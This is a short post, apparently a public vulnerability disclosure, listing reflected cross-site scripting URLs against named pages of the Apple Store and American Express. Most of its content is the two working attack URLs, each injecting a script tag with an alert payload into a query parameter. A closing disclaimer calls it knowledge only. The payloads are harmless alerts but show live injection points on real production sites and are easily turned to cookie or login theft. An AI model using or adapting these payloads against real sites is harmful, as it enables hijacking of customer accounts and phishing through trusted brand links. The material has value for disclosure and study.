Big Brands XSS

Apple Store - XSS
http://store.apple.com/us/product/TU243LL/A?fnode=MTY1NDA4Mg&mco=MjQyMDQ1OA&s=newest'"><script>alert("The apple didn't fell far from the last apple")</script>%3E%3Cdiv%20id=%22

American Express - HTTPS XSS
https://www01.extra.americanexpress.com/ProductImage.aspx?url=https://merpic.intelliwebservices.com/img/full/10185/b2/50fe31e266936b2887ab3ef9608f2db2.gif%22%3E%3Cscript%3Ealert(%27American%20XSSspress%27)%3C/script%3E%3Cdiv%20id=%22


How can us customers trust the big brand companies when our accounts are compromised and we can no longer trust links to those empires websites?!

Disclaimer: Knowledge is free. Security is the core. This publication is for knowledge ONLY. Rafel Ivgi or Evilfingers.com is not responsible for any vulnerabilities listed in this page. Kindly, read the legal section before any second thoughts.